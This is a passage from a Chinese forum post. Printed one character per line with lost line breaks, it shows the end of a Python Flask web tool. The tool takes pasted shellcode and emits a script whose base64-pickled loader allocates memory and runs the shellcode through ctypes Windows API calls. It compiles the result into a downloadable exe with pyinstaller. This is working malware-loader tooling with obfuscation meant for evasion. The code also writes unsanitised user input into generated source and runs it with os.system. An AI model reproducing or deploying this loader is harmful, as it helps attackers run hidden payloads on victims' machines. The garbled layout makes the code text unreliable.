l
c
o
d
e
啊
~
!
憨
批
!
!
'
r
e
t
u
r
n
r
e
n
d
e
r
_
t
e
m
p
l
a
t
e
(
'
i
n
d
e
x
.
h
t
m
l
'
,
n
n
=
n
n
)
e
l
i
f
'
b
u
f
'
n
o
t
i
n
s
h
e
l
l
c
o
d
e
:
n
n
=
'
看
上
面
填
入
的
s
h
e
l
l
c
o
d
e
格
式
啊
~
!
笨
蛋
!
!
'
r
e
t
u
r
n
r
e
n
d
e
r
_
t
e
m
p
l
a
t
e
(
'
i
n
d
e
x
.
h
t
m
l
'
,
n
n
=
n
n
)
e
l
i
f
'
"
'
n
o
t
i
n
s
h
e
l
l
c
o
d
e
[
:
:
-
1
]
[
0
]
:
n
n
=
'
c
a
o
你
的
双
引
号
呢
?
?
?
'
r
e
t
u
r
n
r
e
n
d
e
r
_
t
e
m
p
l
a
t
e
(
'
i
n
d
e
x
.
h
t
m
l
'
,
n
n
=
n
n
)
e
l
s
e
:
w
i
t
h
o
p
e
n
(
'
s
h
e
l
l
.
p
y
'
,
'
w
'
)
a
s
f
:
f
.
w
r
i
t
e
(
'
i
m
p
o
r
t
b
a
s
e
6
4
n
'
)
f
.
w
r
i
t
e
(
"
s
h
e
l
l
c
o
d
e
=
b
'
"
+
s
h
e
l
l
c
o
d
e
[
7
:
l
e
n
(
s
h
e
l
l
c
o
d
e
)
-
1
]
+
"
'
n
"
)
f
.
w
r
i
t
e
(
"
b
a
s
e
s
h
e
l
l
c
o
d
e
=
b
a
s
e
6
4
.
b
6
4
e
n
c
o
d
e
(
s
h
e
l
l
c
o
d
e
)
n
"
)
f
.
w
r
i
t
e
(
'
w
i
t
h
o
p
e
n
(
'
+
"
'
s
h
e
l
l
c
o
d
e
.
p
y
'
,
'
w
'
"
+
'
)
a
s
f
:
'
+
'
n
'
)
f
.
w
r
i
t
e
(
'
'
+
"
f
.
w
r
i
t
e
(
'
i
m
p
o
r
t
p
i
c
k
l
e
,
b
a
s
e
6
4
,
c
t
y
p
e
s
n
'
)
"
+
'
n
'
)
f
.
w
r
i
t
e
(
'
'
+
"
f
.
w
r
i
t
e
(
'
s
h
e
l
l
c
o
d
e
=
'
+
s
t
r
(
b
a
s
e
s
h
e
l
l
c
o
d
e
)
+
'
n
'
)
"
+
'
n
'
)
f
.
w
r
i
t
e
(
'
'
+
"
"
"
f
.
w
r
i
t
e
(
'
s
h
e
l
l
c
o
d
e
l
o
d
e
r
=
b
'
+
"
'
g
A
S
V
d
Q
I
A
A
A
A
A
A
A
C
M
C
G
J
1
a
W
x
0
a
W
5
z
l
I
w
E
Z
X
h
l
Y
5
S
T
l
F
h
W
A
g
A
A
C
m
N
0
e
X
B
l
c
y
5
3
a
W
5
k
b
G
w
u
a
2
V
y
b
m
V
s
M
z
I
u
V
m
l
y
d
H
V
h
b
E
F
s
b
G
9
j
L
n
J
l
c
3
R
5
c
G
U
g
P
S
B
j
d
H
l
w
Z
X
M
u
Y
1
9
1
a
W
5
0
N
j
Q
K
c
H
R
y
I
D
0
g
Y
3
R
5
c
G
V
z
L
n
d
p
b
m
R
s
b
C
5
r
Z
X
J
u
Z
W
w
z
M
i
5
W
a
X
J
0
d
W
F
s
Q
W
x
s
b
2
M
o
Y
3
R
5
c
G
V
z
L
m
N
f
a
W
5
0
K
D
A
p
L
G
N
0
e
X
B
l
c
y
5
j
X
2
l
u
d
C
h
s
Z
W
4
o
c
2
h
l
b
G
x
j
b
2
R
l
K
S
k
s
Y
3
R
5
c
G
V
z
L
m
N
f
a
W
5
0
K
D
B
4
M
T
A
w
M
C
k
s
Y
3
R
5
c
G
V
z
L
m
N
f
a
W
5
0
K
D
B
4
N
D
A
p
K
Q
p
i
d
W
Y
g
P
S
A
o
Y
3
R
5
c
G
V
z
L
m
N
f
Y
2
h
h
c
i
A
q
I
G
x
l
b
i
h
z
a
G
V
s
b
G
N
v
Z
G
U
p
K
S
5
m
c
m
9
t
X
2
J
1
Z
m
Z
l
c
i
h
z
a
G
V
s
b
G
N
v
Z
G
U
p
C
m
N
0
e
X
B
l
c
y
5
3
a
W
5
k
b
G
w
u
a
2
V
y
b
m
V
s
M
z
I
u
U
n
R
s
T
W
9
2
Z
U
1
l
b
W
9
y
e
S
h
j
d
H
l
w
Z
X
M
u
Y
1
9
1
a
W
5
0
N
j
Q
o
c
H
R
y
K
S
x
i
d
W
Y
s
Y
3
R
5
c
G
V
z
L
m
N
f
a
W
5
0
K
G
x
l
b
i
h
z
a
G
V
s
b
G
N
v
Z
G
U
p
K
S
k
K
d
G
h
y
Z
W
F
k
I
D
0
g
Y
3
R
5
c
G
V
z
L
n
d
p
b
m
R
s
b
C
5
r
Z
X
J
u
Z
W
w
z
M
i
5
D
c
m
V
h
d
G
V
U
a
H
J
l
Y
W
Q
o
Y
3
R
5
c
G
V
z
L
m
N
f
a
W
5
0
K
D
A
p
L
G
N
0
e
X
B
l
c
y
5
j
X
2
l
u
d
C
g
w
K
S
x
j
d
H
l
w
Z
X
M
u
Y
1
9
1
a
W
5
0
N
j
Q
o
c
H
R
y
K
S
x
j
d
H
l
w
Z
X
M
u
Y
1
9
p
b
n
Q
o
M
C
k
s
Y
3
R
5
c
G
V
z
L
m
N
f
a
W
5
0
K
D
A
p
L
G
N
0
e
X
B
l
c
y
5
w
b
2
l
u
d
G
V
y
K
G
N
0
e
X
B
l
c
y
5
j
X
2
l
u
d
C
g
w
K
S
k
p
C
m
N
0
e
X
B
l
c
y
5
3
a
W
5
k
b
G
w
u
a
2
V
y
b
m
V
s
M
z
I
u
V
2
F
p
d
E
Z
v
c
l
N
p
b
m
d
s
Z
U
9
i
a
m
V
j
d
C
h
j
d
H
l
w
Z
X
M
u
Y
1
9
p
b
n
Q
o
d
G
h
y
Z
W
F
k
K
S
x
j
d
H
l
w
Z
X
M
u
Y
1
9
p
b
n
Q
o
L
T
E
p
K
Q
o
g
I
C
A
g
I
C
A
g
I
J
S
F
l
F
K
U
L
g
=
=
'
n
"
)
"
"
"
f
.
w
r
i
t
e
(
'
'
+
"
f
.
w
r
i
t
e
(
'
s
h
e
l
l
c
o
d
e
=
b
y
t
e
a
r
r
a
y
(
b
a
s
e
6
4
.
b
6
4
d
e
c
o
d
e
(
s
h
e
l
l
c
o
d
e
)
)
n
'
)
"
+
'
n
'
)
f
.
w
r
i
t
e
(
'
'
+
"
f
.
w
r
i
t
e
(
'
p
i
c
k
l
e
.
l
o
a
d
s
(
b
a
s
e
6
4
.
b
6
4
d
e
c
o
d
e
(
s
h
e
l
l
c
o
d
e
l
o
d
e
r
)
)
n
'
)
"
+
'
n
'
)
o
s
.
s
y
s
t
e
m
(
'
p
y
t
h
o
n
s
h
e
l
l
.
p
y
'
)
o
s
.
s
y
s
t
e
m
(
'
p
y
i
n
s
t
a
l
l
e
r
-
F
s
h
e
l
l
c
o
d
e
.
p
y
'
)
r
e
t
u
r
n
r
e
d
i
r
e
c
t
(
"
/
d
o
w
n
l
o
a
d
"
)
r
e
t
u
r
n
r
e
n
d
e
r
_
t
e
m
p
l
a
t
e
(
'
i
n
d
e
x
.
h
t
m
l
'
)
@
a
p
p
.
r
o
u
t
e
(
"
/
d
o
w
n
l
o
a
d
"
)
d
e
f
d
o
w
n
l
o
a
d
(
)
:
s
t
o
r
e
_
p
a
t
h
=
o
s
.
g
e
t
c
w
d
(
)
+
'
d
i
s
t
'
r
e
t
u
r
n
s
e
n
d
_
f
r
o
m
_
d
i
r
e
c
t
o
r
y
(
s
t
o
r
e
_
p
a
t
h
,
'
s
h
e
l
l
c
o
d
e
.
e
x
e
'
,
a
s
_
a
t
t
a
c
h
m
e
n
t
=
T
r
u
e
)
a
p
p
.
r
u
n
(
)
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页